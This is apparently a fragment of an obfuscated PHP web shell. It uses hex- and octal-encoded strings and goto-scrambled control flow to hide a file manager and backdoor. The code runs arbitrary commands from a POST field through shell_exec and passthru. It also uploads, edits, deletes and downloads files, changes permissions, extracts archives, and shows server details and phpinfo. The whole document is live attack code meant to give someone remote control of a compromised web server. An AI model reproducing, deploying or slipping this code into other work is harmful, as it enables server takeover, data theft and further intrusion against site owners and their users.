"\74\x61\40\x68\162\145\146\x3d\x22\x3f\x70\75\x32\146\x22\76\176\74\57\141\x3e\57"; goto tURdc; eX0_t: if (!($UUNTX == 0 && $NaV7W == '')) { goto lP038; } goto CUjjr; CwEma: zBNFf: goto ewqVO; MP9gs: lP038: goto OEQlv; OERBf: $zErae = 0; goto HpZlc; SLWrs: echo "\62\x66"; goto mKW9n; p3VQ5: goto a30Gp; goto eTgPd; tURdc: goto a30Gp; goto MP9gs; TZjIQ: wCUh6: goto o6IVN; s2b3M: a30Gp: goto RGSrR; HpZlc: tgmlH: goto E07k0; RGSrR: } goto L3Ewc; QmpR8: die($FZEHa ? "\143\150\x65\x63\x6b\x2d\x72\145\163\165\x6c\x74\x2d\x31" : "\143\150\x65\x63\153\x2d\x72\x65\x73\165\154\x74\55\x30"); goto Yzggh; eEOh3: $zErae = 0; goto R4zTw; Me6j_: $f12FE = (isset($_SERVER["\x48\x54\124\x50\123"]) && $_SERVER["\x48\x54\124\x50\x53"] === "\157\156" ? "\150\x74\x74\160\x73" : "\x68\164\x74\160") . "\x3a\x2f\57" . $_SERVER["\x48\124\x54\120\x5f\x48\x4f\x53\x54"] . Ugwhk($q5oCr) . "\57" . $_FILES["\146"]["\156\141\155\x65"][$zErae]; goto i2LLY; i2LLY: f2Y3T("\x66\x69\154\x65\40\x75\160\x6c\x6f\x61\x64\145\x64\40\x73\165\143\x63\x65\x73\x73\146\x75\154\x6c\171\41\134\156" . $f12FE); goto OrZ4o; zCGt4: $FK4d6 = $keVpk . "\57" . uGwhK($_GET["\156"]); goto aVplc; jUVbS: echo "\42\76\12\40\40\x20\x20\x20\40\40\x20\x3c\x2f\144\151\166\76\xa\x20\40\x20\x20\x20\40\40\40\x3c\x62\x75\x74\x74\157\x6e\x20\x74\x79\160\x65\75\x22\163\165\x62\x6d\151\x74\x22\x20\x6e\141\x6d\145\x3d\x22\x73\42\x20\x63\154\141\x73\x73\75\42\142\165\164\164\157\156\40\151\163\x2d\160\162\151\155\141\x72\171\x22\76\123\x61\166\x65\74\57\142\x75\164\164\x6f\x6e\76\12\40\x20\x20\40\x3c\x2f\146\157\162\155\x3e\xa"; goto NzkH4; vLcfu: isset($_POST["\x73"]) ? $mWJjd[13]($keVpk . "\57" . UGWhk($_GET["\x6e"]), $_POST["\x63\x74\156"]) ? f2y3T("\146\151\x6c\145\x20\x63\157\x6e\x74\x65\156\x74\x73\x20\143\150\141\156\147\145\144\x20\163\x75\x63\x63\145\163\x73\146\165\x6c\154\x79", 1, "\x26\141\75" . sIRA4("\166\151\x65\167") . "\x26\156\75{$_GET["\x6e"]}") : f2Y3t("\146\151\x6c\x65\x20\143\157\x6e\x74\145\156\x74\163\x20\146\141\151\x6c\145\144\40\164\x6f\x20\x63\150\141\156\x67\x65") : null; goto ynQAL; cyHmn: echo "\74\x2f\164\x65\x78\x74\x61\x72\145\141\76\12\40\x20\40\x20\x3c\x2f\144\151\x76\x3e\xa\x20\x20\x20\40\74\142\x75\164\164\x6f\156\40\164\x79\x70\145\75\x22\x73\165\x62\x6d\x69\x74\x22\40\156\x61\x6d\145\x3d\x22\163\42\x20\143\x6c\x61\x73\x73\x3d\x22\142\x75\x74\164\157\156\40\151\163\55\160\162\151\x6d\141\x72\x79\42\76\x53\x61\x76\x65\x3c\x2f\142\x75\164\164\157\x6e\76\xa\74\57\146\157\162\155\76\xa\12"; goto vLcfu; RR_mL: function PtPzR($awBwn) { goto rei4e; hpA04: header("\103\x6f\x6e\x74\145\x6e\x74\55\104\x69\x73\160\157\x73\151\x74\x69\157\x6e\72\40\x61\x74\x74\x61\143\x68\x6d\145\x6e\x74\x3b\40\146\x69\154\145\x6e\141\x6d\145\75\x22" . basename($uM71B) . "\42"); goto kOkwh; rei4e: $yrDZG = explode("\x2f", $awBwn); goto CkMd7; vVE9l: header("\x43\157\x6e\x74\x65\x6e\164\x2d\124\x79\x70\x65\72\40\141\160\x70\x6c\151\143\x61\164\x69\157\156\x2f\x6f\143\x74\145\x74\x2d\x73\x74\x72\145\x61\x6d"); goto QGOml; kOkwh: readfile($uM71B); goto D6w6q; D6w6q: Nt0gh: goto hIFS1; ybZXm: if (!file_exists($uM71B)) { goto Nt0gh; } goto AE2Ew; QGOml: header("\103\x6f\156\x74\x65\156\164\x2d\104\x65\163\143\x72\x69\160\x74\x69\157\156\72\x20\x46\x69\154\145\40\124\162\x61\156\163\146\x65\162"); goto DZxOa; CkMd7: $uM71B = uGwHK($yrDZG[0]) . "\57" . UgWhK($yrDZG[1]); goto ybZXm; AE2Ew: $W008J = mime_content_type($uM71B); goto vVE9l; DZxOa: header("\x43\x6f\156\164\x65\156\164\x2d\x4c\145\x6e\x67\x74\x68\x3a\40" . filesize($uM71B)); goto hpA04; hIFS1: } goto fwZTh; lXRD0: echo $mWJjd[18]($mWJjd[14]($keVpk . "\57" . ugWhK($_GET["\156"]))); goto cyHmn; M4x5x: echo "\x54\150\x65\40\x27\x7a\x69\x70\x27\40\x63\x6f\x6d\155\141\156\x64\40\151\x73\x20\x61\166\x61\151\154\x61\142\154\145\72\x20" . trim($bzgfY) . "\xa"; goto Rn_2N; xghJY: $mKxy1 = "\x74\x65\163\164\x5f\143\x6f\x6d\155\x61\x6e\x64\x5f\x75\156\x7a\151\160"; goto i8jP4; LYRJc: unlink($E5Z_f); goto yUqwZ; Dj8ry: mIOi_: goto EWy47; INqQY: echo "\x3c\x2f\x6e\x6f\x62\162\76\xa\x20\40\40\40\x20\x20\74\57\144\x69\166\x3e\xa\x20\x20\40\40\40\x20\74\x62\162\x3e\xa\40\40\40\x20\40\40\x20\40\74\x64\x69\166\40\x63\x6c\141\x73\163\75\x22\x69\163\x2d\x66\x61\x6d\151\154\x79\x2d\x6d\x6f\x6e\x6f\163\160\141\143\x65\x20\x62\165\x74\164\x6f\x6e\x20\x69\163\55\x69\156\x66\157\x20\x70\154\55\x32\40\x69\x73\55\157\165\164\154\151\156\x65\144\40\151\163\55\x69\156\x76\145\162\x74\145\x64\42\76\xa\x20\x20\x20\x20\x20\40\x20\40\74\142\40\x63\154\x61\163\163\75\42\x74\141\x67\x20\151\x73\x2d\x69\156\146\157\42\76\123\145\162\166\x65\162\40\111\120\x3c\57\x62\x3e\xa\x20\x20\40\40\40\x20\x20\x20\x3c\156\x6f\x62\162\x20\143\x6c\141\x73\163\75\x22\x6d\x78\55\x32\42\x3e"; goto hRGsN; nPlIh: if (!($uKjJE == "\144\x65\154\x65\x74\x65")) { goto mIOi_; } goto zCGt4; o2t6T: echo substr(sprintf("\45\157", fileperms(Ugwhk($_GET["\160"]) . "\57" . UgWHk($_GET["\144"]))), -4); goto Rjllv; mYmQW: if (!(isset($_POST["\x63\147\146"]) && isset($_POST["\x63\157\144\x65\x78"]))) { goto ISTc7; } goto qE85o; LWcmT: $huZFR = fopen(basename(UgWhK($_GET["\160"]) . "\57" . $_POST["\155\141\x6b\x65\146\151\x6c\x65"]), "\167") or die(F2Y3t("\x46\141\151\154\145\x64\x20\164\157\40\143\162\145\141\x74\145\40\x66\x69\x6c\145\x21", 0)); goto gWY2k; DD3Zf: TiVoG: goto J3Gof; aMauj: $qJtBd = new pkTmj(); goto m8TO1; xMxKr: echo $_SERVER["\123\105\122\x56\105\122\x5f\101\x44\115\x49\x4e"]; goto td1r3; aVil9: echo "\74\x2f\x6e\x6f\142\x72\76\x3c\x2f\x6c\x69\76\12\x20\x20\40\40\74\154\x69\x3e\x55\x73\145\x72\40\x3a\x20\x3c\x6e\157\x62\162\76"; goto cPk5D; Ka8IZ: JaEu0: goto i0L9P; GECeh: if (!isset($_GET["\x63\150\x6d\157\x64\x64"])) { goto A6KR2; } goto auHmR; a3KVK: $zErae = 0; goto GpfQr; qtvxW: f2y3t("\x46\151\154\145\x20\143\162\145\141\164\145\x64\41"); goto nycFR; Gi67v: if (!isset($_GET["\143\x68\x65\143\153\x7a\151\160"])) { goto QrVTg; } goto GarFd; FzZRE: echo "\42\x3e\x3c\x62\162\x3e\xa\40\x20\40\40\x20\x20\x3c\151\x6e\160\x75\164\40\x20\x63\154\141\163\x73\75\x22\x62\165\164\164\x6f\x6e\x20\151\x73\x2d\x70\162\x69\155\141\162\171\40\x6d\x6c\x2d\x32\42\40\x74\x79\x70\145\x3d\x22\x73\x75\x62\x6d\151\164\x22\x20\166\141\x6c\165\x65\x3d\42\x63\150\x6d\x6f\x64\42\x3e\xa\40\x20\x20\x20\x3c\x2f\x64\151\x76\x3e\12\x9\x3c\x2f\146\157\162\x6d\x3e\12\74\57\144\151\x76\x3e\xa\x9"; goto mYmQW; fptV5: echo $_SERVER["\x53\105\122\126\x45\122\137\x53\117\106\124\x57\101\x52\x45"]; goto oIwRl; aDHsV: echo "\74\x2f\163\x70\141\156\76\xa\x20\x20\74\57\150\64\x3e\xa\x20\x20\40\x20\74\x64\151\x76\40\x63\154\x61\x73\163\75\x22\x66\151\x65\x6c\144\x22\x3e\xa\x20\x20\x20\x20\40\x20\x3c\154\141\x62\x65\x6c\40\x66\x6f\162\75\42\x63\164\156\42\x20\x63\x6c\x61\x73\x73\x3d\42\154\141\x62\x65\x6c\x22\x3e\103\x6f\156\164\x65\x6e\164\74\x2f\154\141\142\145\x6c\76\12\40\x20\x20\40\x20\x20\x3c\x74\x65\170\164\141\162\145\x61\x20\156\141\155\x65\x3d\x22\x63\164\x6e\42\x20\151\144\x3d\x22\x63\x74\x6e\42\40\143\157\154\x73\75\x22\63\60\42\x20\162\x6f\167\163\75\42\x31\60\42\40\143\154\141\x73\163\x3d\42\x74\145\x78\x74\x61\162\x65\141\x22\x3e"; goto lXRD0; LjELl: goto xNsqm; goto koPNe; T4Cf5: F2Y3t("\x66\x61\151\154\x65\x64\40\x74\x6f\x20\x64\x65\x6c\145\x74\145\x20\x74\150\x65\40\146\x6f\154\144\145\162", 0); goto Gffop; IQvT0: C3vwP: goto GECeh; x_PfO: echo "\x3c\x2f\156\157\x62\162\x3e\12\40\40\x20\40\40\40\74\x2f\x64\x69\x76\x3e\xa\x20\40\40\x20\x20\40\x3c\x64\x69\166\x20\143\154\x61\x73\163\75\x22\151\x73\x2d\146\x61\155\x69\x6c\171\x2d\x6d\157\x6e\157\163\x70\141\x63\145\40\x62\x75\164\164\x6f\156\x20\151\x73\55\x6c\151\147\150\x74\x20\160\154\x2d\62\x20\x69\163\x2d\157\165\164\154\151\x6e\145\144\40\x69\x73\55\x69\156\x76\x65\162\164\x65\144\42\76\xa\x20\x20\40\x20\x20\40\40\x20\x3c\x62\x20\143\x6c\x61\163\x73\75\42\164\141\147\40\151\x73\55\x6c\151\x67\150\x74\x20\x68\141\163\55\x74\145\x78\164\x2d\x64\x61\162\153\x22\x3e\x44\151\x73\x61\x62\154\x65\x64\x20\146\165\x6e\143\164\x69\x6f\x6e\x73\74\x2f\142\76\xa\40\x20\x20\40\40\40\x20\x20\74\x6e\x6f\142\162\x20\143\154\x61\x73\163\x3d\x22\155\170\x2d\62\42\76"; goto te6fx; H4KG0: dovnk: goto ia13p; Xw8fQ: echo "\x3c\57\156\x6f\142\x72\76\x20\x7c\40\x53\x65\162\166\145\x72\40\101\144\155\x69\156\x20\x3a\x20"; goto xMxKr; m14ts: echo "\74\x64\151\x76\40\x63\x6c\x61\163\x73\x3d\42\x6d\x79\x2d\x34\x20\x6d\x78\55\62\42\76\xa\x20\40\40\40\x3c\x70\162\x65\x20\143\154\x61\163\163\x3d\42\x6d\55\60\40\x70\55\64\40\x69\163\x2d\163\x69\172\x65\x2d\x36\40\x68\141\163\x2d\164\145\x78\164\x2d\x70\162\151\x6d\x61\162\x79\42\40\163\x74\x79\x6c\x65\x3d\42\142\157\162\144\145\x72\x3a\x32\x70\x78\40\x73\157\x6c\151\144\x20\x68\x73\154\x28\x31\67\61\x2c\x20\61\x30\x30\x25\54\x20\x34\x31\45\x29\x3b\x62\157\162\x64\145\162\x2d\162\x61\x64\x69\165\163\x3a\61\62\160\x78\73\42\76"; goto eKyjG; Digjf: if (!isset($_GET["\143\x68\145\143\x6b\x73\x65\x6e\x64"])) { goto zbRWn; } goto lQQJ8; V8laz: tYGoe: goto IQvT0; i8jP4: if (is_dir($mKxy1)) { goto Y5xBO; } goto o0Ubs; tHsvF: echo "\47\x29\73\x61\x6c\145\162\x74\x28\47\103\157\160\151\145\144\x20\164\157\x20\143\x6c\151\x70\x62\157\x61\162\144\47\51\73\42\x20\143\x6c\x61\163\x73\x3d\x22\151\163\55\x66\x61\155\x69\x6c\171\55\155\157\156\x6f\163\x70\141\143\x65\40\142\165\164\x74\x6f\156\x20\151\x73\x2d\163\x75\x63\143\x65\163\x73\x20\x70\154\55\x32\40\x69\x73\55\157\165\x74\x6c\x69\156\x65\x64\40\151\163\55\x69\156\166\145\162\164\145\144\x22\76\xa\x20\40\x20\x20\40\40\40\40\74\x62\40\x63\x6c\141\x73\x73\x3d\x22\164\x61\x67\40\x69\x73\55\x73\x75\143\x63\x65\x73\x73\40\155\162\55\62\x22\76\x53\141\146\145\x6d\157\144\x65\74\x2f\142\x3e\xa\x20\x20\40\x20\40\40\x20\x20\x3c\156\x6f\x62\x72\76"; goto bmtvF; ppGjr: goto dovnk; goto fQcpx; jGCGI: goto jH9T2; goto g2Jgz; LISdx: echo $_SERVER["\x50\110\x50\137\x53\105\114\106"]; goto ucLKu; NQaSR: echo UgwHk($_GET["\x6e"]); goto fWCEd; o7FZW: echo "\74\57\141\76\x3c\x2f\x63\x65\156\164\145\x72\x3e\xa\x20\40\x20\40\x20\40\74\x2f\150\63\x3e\12\x20\x20\x20\40\x3c\144\151\166\40\143\154\x61\x73\x73\x3d\x22\151\163\55\x66\154\145\170\x22\163\x74\171\x6c\x65\x3d\42\152\165\163\164\151\x66\171\55\x63\157\x6e\164\x65\x6e\x74\x3a\x73\160\x61\143\145\x2d\142\x65\x74\167\145\x65\156\42\76\12\12\x20\40\40\x20\74\144\x69\x76\40\163\x74\171\x6c\145\75\x22\x64\151\163\x70\x6c\x61\171\72\x20\x66\154\x65\x78\73\x66\154\145\x78\x2d\167\x72\x61\x70\72\40\x77\x72\x61\160\73\x6d\141\x78\55\167\151\144\164\150\x3a\40\x36\60\166\x77\x3b\147\141\x70\72\66\160\170\42\76\xa\40\x20\x20\x20\40\40\x3c\144\x69\x76\x20\157\x6e\143\154\x69\x63\153\75\42\x6e\141\x76\151\x67\141\x74\157\x72\56\x63\x6c\x69\x70\142\157\x61\162\x64\56\x77\162\x69\164\x65\x54\145\170\x74\x28\x27"; goto ousj7; S8AsQ: die("\143\150\145\x63\x6b\x2d\162\145\x73\165\154\164\x2d\61"); goto pur8d; J3Gof: echo "\x20\x20\x20\x20\40\40\74\57\x66\157\162\x6d\76\12\x20\x20\40\40\40\x20\x3c\57\x64\x69\x76\x3e\12\40\x20\x20\x20\x3c\57\x64\151\166\76\12\x20\x20\x20\74\x66\x6f\x72\x6d\40\155\145\164\x68\157\x64\x3d\42\107\105\x54\x22\x20\x6e\141\155\x65\75\42"; goto pQMdN; e3BHi: $G21FS = $_FILES["\x66"]["\x6e\141\x6d\x65"]; goto a3KVK; VqRBx: echo "\x27\51\73\x61\x6c\x65\162\x74\50\x27\103\157\x70\151\145\144\x20\164\x6f\x20\143\154\x69\160\x62\x6f\x61\162\x64\x27\51\x3b\42\40\x63\x6c\x61\x73\x73\x3d\42\151\x73\55\x66\x61\x6d\151\154\171\x2d\155\157\156\157\163\x70\x61\143\145\x20\142\x75\164\164\157\x6e\40\x69\163\55\x6c\151\156\153\40\x70\x6c\x2d\x32\x20\151\x73\55\x6f\165\164\154\x69\156\145\144\x22\76\12\x20\40\x20\40\x20\x20\40\x20\x3c\x62\x20\143\154\x61\x73\163\x3d\42\164\141\147\x20\x69\x73\55\154\x69\156\153\x20\x6d\162\55\62\x22\76\x55\156\x61\x6d\145\x3c\x2f\x62\x3e\xa\40\x20\x20\x20\x20\40\x20\x20\x3c\x6e\x6f\142\162\76"; goto hJOeL; IZHGt: $c4zya = strlen($Q0FGf); goto Und2g; nIBSq: function UocA2() { goto wuGR4; wuGR4: if (function_exists("\x63\165\x72\x6c\x5f\x76\145\162\x73\151\x6f\156")) { goto pNMw7; } goto QyyUB; spHOa: Rr2A4: goto e0n2a; XjKod: pNMw7: goto rRkXm; rRkXm: return "\117\x4e"; goto spHOa; QyyUB: return "\117\106\106"; goto yOf5H; yOf5H: goto Rr2A4; goto XjKod; e0n2a: } goto q7MtI; Y43gU: echo "\74\57\163\x70\x61\156\x3e\12\x20\40\x3c\57\x68\x34\76\xa\x20\x20\x3c\164\145\x78\x74\141\162\x65\x61\40\x6e\x61\x6d\x65\x3d\x22\143\164\x6e\42\40\151\144\75\42\143\164\x6e\42\x20\x63\157\x6c\163\x3d\x22\63\x30\42\40\162\x6f\167\163\x3d\x22\61\x35\x22\40\143\154\x61\163\163\75\x22\x74\x65\170\164\x61\x72\x65\x61\40\x69\163\x2d\146\141\155\x69\154\x79\x2d\155\157\x6e\157\x73\160\141\143\145\x22\x20\162\x65\141\x64\x6f\156\154\171\x3e"; goto zG1WA; hVz2W: xYS3g: goto d82TW; ia13p: function IyZXr($dU_aF) { goto mQaK_; rX3Ri: $zErae .= $keVpk & 0x8 ? $keVpk & 0x400 ? "\x73" : "\170" : ($keVpk & 0x400 ? "\x53" : "\55"); goto BiL8B; x2MQn: oGajv: goto FW8nJ; jQDIN: hWjg1: goto ug290; Xd3Ot: if (($keVpk & 0x1000) == 0x1000) { goto cSCnt; } goto Swit4; Ku9jS: goto oGajv; goto jQDIN; QPLw9: P1QLh: goto tIMzq; mQaK_: $keVpk = fileperms($dU_aF); goto BRw__; pk1pa: $zErae = "\163"; goto HFq8o; PGG4j: Biz53: goto ZKLiK; NBFVR: sjT26: goto BQlCm; H3hVd: $zErae .= $keVpk & 0x20 ? "\162" : "\55"; goto OcsnT; NKQXq: goto oGajv; goto PGG4j; VTSjS: goto oGajv; goto g5Mac; N81UG: if (($keVpk & 0x8000) == 0x8000) { goto Biz53; } goto jrSln; jXKBs: if (($keVpk & 0x2000) == 0x2000) { goto sjT26; } goto Xd3Ot; Jb7e_: $zErae = "\x62"; goto Ku9jS; jrSln: if (($keVpk & 0x6000) == 0x6000) { goto G0wWt; } goto MrVyJ; yy9PJ: $zErae .= $keVpk & 0x1 ? $keVpk & 0x200 ? "\x74" : "\x78" : ($keVpk & 0x200 ? "\x54" : "\55"); goto AYBhA; ZKLiK: $zErae = "\55"; goto tfgeN; HFq8o: goto oGajv; goto QPLw9; mkisg: $zErae .= $keVpk & 0x40 ? $keVpk & 0x800 ? "\163" : "\170" : ($keVpk & 0x800 ? "\x53" : "\55"); goto H3hVd; M8E43: G0wWt: goto Jb7e_; VCefQ: $zErae .= $keVpk & 0x2 ? "\167" : "\55"; goto yy9PJ; ug290: $zErae = "\x64"; goto LwWhn; MrVyJ: if (($keVpk & 0x4000) == 0x4000) { goto hWjg1; } goto jXKBs; ds60H: $zErae = "\160"; goto x2MQn; AYBhA: return $zErae; goto AYw2K; tfgeN: goto oGajv; goto M8E43; FW8nJ: $zErae .= $keVpk & 0x100 ? "\162" : "\x2d"; goto kHZep; t0RIp: kko_d: goto pk1pa; QQtXq: goto oGajv; goto t0RIp; Swit4: $zErae = "\165"; goto QQtXq; g5Mac: cSCnt: goto ds60H; LwWhn: goto oGajv; goto NBFVR; tIMzq: $zErae = "\x6c"; goto NKQXq; OcsnT: $zErae .= $keVpk & 0x10 ? "\167" : "\55"; goto rX3Ri; kHZep: $zErae .= $keVpk & 0x80 ? "\167" : "\55"; goto mkisg; BiL8B: $zErae .= $keVpk & 0x4 ? "\x72" : "\x2d"; goto VCefQ; BQlCm: $zErae = "\143"; goto VTSjS; BRw__: if (($keVpk & 0xc000) == 0xc000) { goto kko_d; } goto pedxa; pedxa: if (($keVpk & 0xa000) == 0xa000) { goto P1QLh; } goto N81UG; AYw2K: } goto FkiWe; uDHys: $mWJjd = array("\67\60\x36\x38\x37\x30\x35\x66\x37\x35\66\145\x36\61\66\x64\66\x35", "\67\x30\66\70\x37\60\x37\x36\66\x35\x37\x32\67\x33\x36\71\x36\146\66\145", "\66\67\x36\x35\67\64\66\x33\67\x37\66\64", "\x36\x33\66\70\x36\x34\x36\x39\67\x32", "\x37\x30\67\62\66\65\x36\67\65\146\67\63\x37\60\66\x63\66\71\x37\x34", "\x36\x31\67\62\67\62\x36\x31\67\x39\65\x66\x36\64\x36\71\x36\x36\x36\x36", "\x36\71\x37\x33\65\x66\x36\x34\x36\x39\x37\62", "\x36\x39\x37\63\65\146\66\x36\x36\71\66\x63\66\65", "\x36\71\x37\x33\x35\146\x37\67\67\x32\x36\71\67\64\x36\x31\66\x32\66\x63\66\65", "\66\71\x37\63\x35\x66\x37\62\66\65\x36\61\66\x34\66\61\66\x32\66\x63\x36\65", "\66\x36\x36\71\x36\143\66\x35\x37\x33\66\x39\x37\141\66\x35", "\x36\63\66\146\67\60\67\71", "\66\66\x36\x39\x36\143\66\x35\65\146\66\65\67\70\x36\71\x37\63\67\64\67\x33", "\x36\66\66\x39\66\x63\x36\65\65\x66\x37\x30\67\x35\67\64\65\x66\66\63\x36\x66\66\145\67\x34\x36\65\x36\x65\x37\64\67\x33", "\x36\x36\66\x39\x36\143\x36\x35\65\x66\x36\x37\x36\65\x37\x34\65\146\x36\63\x36\146\x36\x65\67\64\66\65\66\145\x37\64\x37\63", "\x36\144\x36\x62\66\x34\x36\71\x37\62", "\67\62\x36\65\x36\x65\x36\61\66\x64\x36\x35", "\x37\63\x37\64\67\x32\x37\64\66\146\67\x34\66\x39\66\x64\66\x35", "\x36\70\x37\64\x36\x64\x36\x63\x37\63\67\60\x36\65\66\63\66\71\66\61\x36\143\x36\63\x36\70\x36\61\67\62\67\63", "\66\x34\66\61\x37\64\x36\65", "\x36\x36\66\71\66\x63\x36\x35\66\x64\x37\x34\x36\71\x36\144\66\65"); goto Ii6qh; yTsJL: $mWJjd[3](ugWhk($_GET["\160"])); goto H4KG0; o0Ubs: mkdir($mKxy1); goto EKNsB; dC1QV: if (!isset($_GET["\143\150\155\x6f\x64\146"])) { goto jRMyk; } goto l750i; cPk5D: echo get_current_user(); goto Xw8fQ; ucLKu: echo "\42\x3e"; goto yAZoh; UvaCs: echo shell_exec($_POST["\145\x78\145\x63\155\144"]); goto KjXt9; SgmfV: $FZEHa = false; goto pVwzF; wltfg: phpinfo(); goto qZ3ot; Gffop: goto XD1zL; goto aXR3g; l750i: echo "\40\40\x3c\x64\151\x76\40\143\154\141\163\x73\x3d\42\143\157\x6e\164\x61\151\156\145\162\x20\x69\163\x2d\155\x61\x78\55\x74\x61\x62\x6c\145\164\42\x3e\xa\11\x3c\146\x6f\x72\155\x20\x61\x63\164\151\x6f\156\x3d\x22\x22\x20\143\x6c\x61\163\x73\x3d\42\142\x6f\x78\x22\x20\x6d\145\x74\x68\157\x64\x3d\42\x50\117\x53\124\42\40\x63\x6c\141\163\163\x3d\42\155\171\55\x32\x22\x20\163\164\x79\154\x65\x3d\42\x62\x6f\x72\144\x65\x72\72\x31\x70\170\40\x73\157\x6c\151\144\x20\x68\x73\154\x28\x31\67\x31\x2c\x20\x31\x30\x30\x25\x2c\x20\64\x31\x25\51\x3b\x22\x3e\12\x9\x9\74\154\x61\142\x65\x6c\40\143\x6c\141\163\163\x3d\x27\154\141\x62\x65\x6c\x27\x3e\x3c\163\160\141\x6e\x20\143\154\x61\163\x73\x3d\x22\x68\141\x73\55\164\x65\170\164\55\x70\x72\151\x6d\141\162\171\42\76\x43\150\141\x6e\x67\x65\x20\x50\145\162\155\x69\x73\x73\151\157\x6e\40\x46\x6f\x72\x20\106\151\154\x65\x3a\74\57\x73\160\x61\x6e\x3e\40"; goto NQaSR; kRxWW: echo substr(sprintf("\x25\x6f", fileperms(UGwHK($_GET["\x70"]) . "\x2f" . uGWHK($_GET["\156"]))), -4); goto FzZRE; XxcOa: $QI9IR = shell_exec("\165\156\x7a\151\160\x20{$fKgA3}\x20\x2d\144\x20{$mKxy1}\40\62\x3e\x26\x31"); goto KNEon; aygGR: cNHru: goto u2Psj; ynQAL: goto xNsqm; goto zkSv_; Ygctf: echo "\x20\x20\x3c\146\x6f\x72\155\40\x6d\x65\164\150\157\x64\x3d\x22\160\x6f\163\x74\42\x20\x63\154\x61\x73\x73\x3d\x22\142\157\170\42\163\164\x79\x6c\x65\75\x22\142\x6f\x72\x64\145\162\72\62\x70\x78\x20\x73\157\154\x69\144\40\x68\x73\154\x28\61\x37\61\x2c\x20\61\60\x30\x25\x2c\40\61\x36\x25\51\42\76\xa\x20\x20\40\40\74\150\64\x20\x63\154\x61\x73\x73\x3d\x22\151\x73\x2d\163\x69\172\x65\55\65\x20\x68\x61\x73\x2d\x74\x65\x78\164\x2d\167\x65\x69\x67\x68\x74\55\x62\157\x6c\x64\40\x68\x61\x73\x2d\164\x65\170\x74\x2d\160\x72\x69\x6d\x61\162\x79\40\155\x62\x2d\x34\x22\x3e\x52\145\x6e\x61\x6d\x65\40"; goto eIumX; aVplc: if (!($_GET["\x74"] == "\144")) { goto v0eS9; } goto xZKMy; ni_Wu: echo "\x5a\x69\160\40\146\x69\x6c\145\x20\143\x72\x65\x61\164\x65\144\x20\163\165\x63\x63\x65\163\x73\146\x75\x6c\x6c\171\40\165\x73\151\156\x67\x20\x63\157\x6d\x6d\x61\x6e\x64\x20\x6c\x69\x6e\145\56\12"; goto xghJY; zYm0b: $qJtBd->extractTo(getcwd()); goto He1Ij; Q1b9f: if ($uKjJE == "\156\x65\167\106\x69\x6c\x65") { goto UMC9K; } goto ez7b5; cxhRw: goto xNsqm; goto JAjFD; D2wrg: echo "\xa\74\x64\151\x76\40\x63\x6c\x61\163\163\75\42\151\163\x2d\x66\x6c\x65\170\40\x69\x73\55\141\x6c\151\x67\x6e\x2d\x69\x74\x65\x6d\x73\55\145\156\x64\40\x70\x78\55\62\x22\x3e\12\x20\40\x3c\144\x69\x76\x20\x63\154\x61\x73\x73\x3d\x22\142\147\x2d\x64\141\162\x6b\40\142\x6f\x72\x64\145\162\x20\x74\x61\x62\x6c\145\x2d\x72\x65\x73\160\x6f\x6e\163\x69\x76\x65\40\155\164\x2d\62\40\x6d\162\x2d\62\x22\x3e\xa\40\x20\40\40\x3c\144\x69\x76\40\143\x6c\x61\163\163\75\42\x69\x73\x2d\146\141\x6d\x69\154\171\x2d\x6d\x6f\156\157\163\160\141\143\145\40\x62\165\x74\x74\x6f\x6e\40\151\x73\x2d\154\151\147\x68\x74\40\x69\x73\55\x72\x6f\165\x6e\144\145\x64\40\x69\163\x2d\x6f\165\164\154\x69\156\x65\x64\x22\x3e\xa\x20\x20\x20\x20\x20\40\x3c\163\x70\141\x6e\x3e\104\157\143\165\155\x65\156\164\40\122\x6f\157\164\72\x20"; goto FMjRe; k5wXS: echo passthru($_POST["\145\170\145\x63\x6d\x64"]); goto rwbFS; dJUVQ: f2Y3T("\106\141\x69\x6c\145\144\x20\x74\157\x20\145\x78\x74\162\x61\143\164\40\132\x49\120\x20\106\x69\154\x65\41", 0); goto viuV1; uB_8o: if (!isset($_POST["\x6d\x61\x6b\145\144\151\x72"])) { goto ezLha; } goto EJLF0; QOq4Y: goto e3VtV; goto DNDGC; Np5bS: echo substr(@phpversion(), 0, 20); goto RRg2S; EKNsB: Y5xBO: goto XxcOa; q7MtI: function Nut1O() { goto dQq0o; dQq0o: if (function_exists("\101\x4a\x5f\172\x33")) { goto po96r; } goto yPo88; XrNvF: po96r: goto A83Z1; A83Z1: return "\117\116"; goto UgQb4; yPo88: return "\117\x46\x46"; goto r6yia; UgQb4: Je2gA: goto c4NS2; r6yia: goto Je2gA; goto XrNvF; c4NS2: } goto yLU0O; FhGzc: function fGYw1($FK4d6, $jOTZk) { goto mT7h7; TYCSS: aP02V: goto Kp1c7; Rp3J0: $zErae = strlen($jOTZk) - 1; goto TYCSS; aSOtD: if (!(is_dir($FK4d6) || is_file($FK4d6))) { goto KFsRI; } goto e7dUt; VxNBY: --$zErae; goto ZvLKF; Ii1Xf: m50Oe: goto EQXoo; ZvLKF: goto aP02V; goto UXt25; e7dUt: if (!chmod($FK4d6, $LCW_S)) { goto m50Oe; } goto vu_Dt; mT7h7: $LCW_S = 0; goto Rp3J0; qWuht: VkyFb: goto VxNBY; Kp1c7: if (!($zErae >= 0)) { goto nlWHW; } goto KsKjI; KsKjI: $LCW_S += (int) $jOTZk[$zErae] * pow(8, strlen($jOTZk) - $zErae - 1); goto qWuht; EQXoo: KFsRI: goto RxyMT; vu_Dt: f2y3t("\x50\145\x72\155\x69\x73\x73\151\157\x6e\40\146\x6f\162\x20" . $FK4d6 . "\x5c\x6e\x43\x68\x61\156\x67\x65\x64\40\164\157\x20\55\x3e\40" . $jOTZk); goto Ii1Xf; UXt25: nlWHW: goto aSOtD; RxyMT: } goto Cq9ID; OhcY4: NbHdV: goto Dj8ry; sR1SU: l7TE1: goto aIh43; u2Psj: A6KR2: goto dC1QV; K8G1p: echo uGwhK($_GET["\156"]); goto jUVbS; qBcvL: echo "\x3c\57\x6e\157\142\x72\x3e\xa\x20\40\40\x20\40\x20\x20\40\74\142\x20\x63\x6c\x61\163\x73\75\x22\164\x61\x67\40\x69\x73\x2d\154\151\x67\x68\164\40\150\x61\x73\55\164\145\x78\x74\x2d\x64\x61\162\153\40\155\162\55\x32\x22\x3e\x4d\x79\123\x51\114\x3c\x2f\x62\x3e\xa\40\x20\x20\x20\x20\40\x20\x20\74\156\157\142\x72\76"; goto Vk0NB; jsW6g: die("\143\150\145\143\x6b\55\162\x65\163\x75\154\x74\55\x30"); goto d7XNG; fQcpx: X1heF: goto krM1G; HiUWT: $huZFR = $_POST["\172\151\160\x66\x69\x6c\x65"]; goto aMauj; 